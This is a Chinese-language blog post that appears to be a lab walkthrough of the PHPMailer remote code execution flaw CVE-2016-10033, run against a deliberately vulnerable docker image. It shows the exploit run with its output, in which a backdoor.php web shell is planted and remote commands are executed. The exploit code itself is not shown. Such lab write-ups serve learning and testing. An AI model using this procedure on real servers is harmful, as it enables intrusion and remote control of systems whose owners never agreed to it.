PHPMailer < 5.2.18 远程代码执行漏洞(CVE-2016-10033)
阅读目录
PHPMailer < 5.2.18 Remote Code Execution
本文将简单展示一下PHPMailer远程代码执行漏洞(CVE-2016-10033)的利用过程,使用的是别人已经搭建好的docker环境,见参考链接。
实验环境是在Ubuntu 16.04.3上,使用docker镜像。
安装和使用docker镜像
首先需要在ubuntu上安装docker,可使用如下命令进行安装:
root@starnight:~# apt-get install docker.io 【安装docker】 root@starnight:~# docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.17.0.2. Set the 'ServerName' directive globally to suppress this message ==> /var/log/apache2/access.log <== ==> /var/log/apache2/error.log <== [Thu Nov 09 15:11:47.098917 2017] [mpm_prefork:notice] [pid 8] AH00163: Apache/2.4.10 (Debian) configured -- resuming normal operations [Thu Nov 09 15:11:47.101902 2017] [core:notice] [pid 8] AH00094: Command line: '/usr/sbin/apache2 -f /etc/apache2/apache2.conf' ==> /var/log/apache2/other_vhosts_access.log <==
安装完docker之后,需要把相应的靶机环境下载(pull)下来,首次运行上面那条命令会下载docker镜像,之后就会像上面运行的那样,表明docker镜像正在运行。
查看一下ip地址:
root@starnight:~# ifconfig | grep inet inet addr:172.17.0.1 Bcast:0.0.0.0 Mask:255.255.0.0 inet6 addr: fe80::42:4aff:fe88:49e5/64 Scope:Link inet addr:192.168.0.8 Bcast:192.168.0.255 Mask:255.255.255.0 inet6 addr: fe80::a7c0:e1f7:2118:7e6a/64 Scope:Link inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host inet6 addr: fe80::98a9:5bff:fe1f:b1c9/64 Scope:Link
这里192.168.0.8是我们Ubuntu的ip地址,172.17.0.1是docker镜像的内部地址,通过访问http://192.168.0.8:8080/, 就能看到搭建好的存在漏洞的环境:
漏洞测试
接下来我们使用kali来进行测试, 下载exploit-CVE-2016-10033中的exploit.sh到本地,运行如下命令进行测试:
root@kali:~/penetest/CVE-2016-10033# ./exploit.sh 192.168.0.8:8080 [+] CVE-2016-10033 exploit by opsxcq [+] Exploiting 192.168.0.8:8080 [+] Target exploited, acessing shell at http://192.168.0.8:8080/backdoor.php [+] Checking if the backdoor was created on target system [+] Backdoor.php found on remote system [+] Running whoami www-data RemoteShell> ls [+] Running ls vulnerable RemoteShell> pwd [+] Running pwd /www
其实,这里并不是所有的命令运行都会正常回显(略尴尬),比如说查看ip地址的命令ifconfig就看不到输出。
此外,我们在服务器端的输出中也能看到一些有趣的东西:
更多详情,请参考下面的链接。
References
PHPMailer < 5.2.18 - Remote Code Execution (Bash)
-------------------------------------------
个性签名:如果世上的事都按你说的道理走 世界就不是现在这样了!
如果觉得这篇文章对你有小小的帮助的话,记得在右下角点个“推荐”哦,博主在此感谢!
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek 解答了困扰我五年的技术问题
· 为什么说在企业级应用开发中,后端往往是效率杀手?
· 用 C# 插值字符串处理器写一个 sscanf
· Java 中堆内存和栈内存上的数据分布和特点
· 开发中对象命名的一点思考
· DeepSeek 解答了困扰我五年的技术问题。时代确实变了!
· PPT革命!DeepSeek+Kimi=N小时工作5分钟完成?
· What?废柴, 还在本地部署DeepSeek吗?Are you kidding?
· 赶AI大潮:在VSCode中使用DeepSeek及近百种模型的极简方法
· DeepSeek企业级部署实战指南:从服务器选型到Dify私有化落地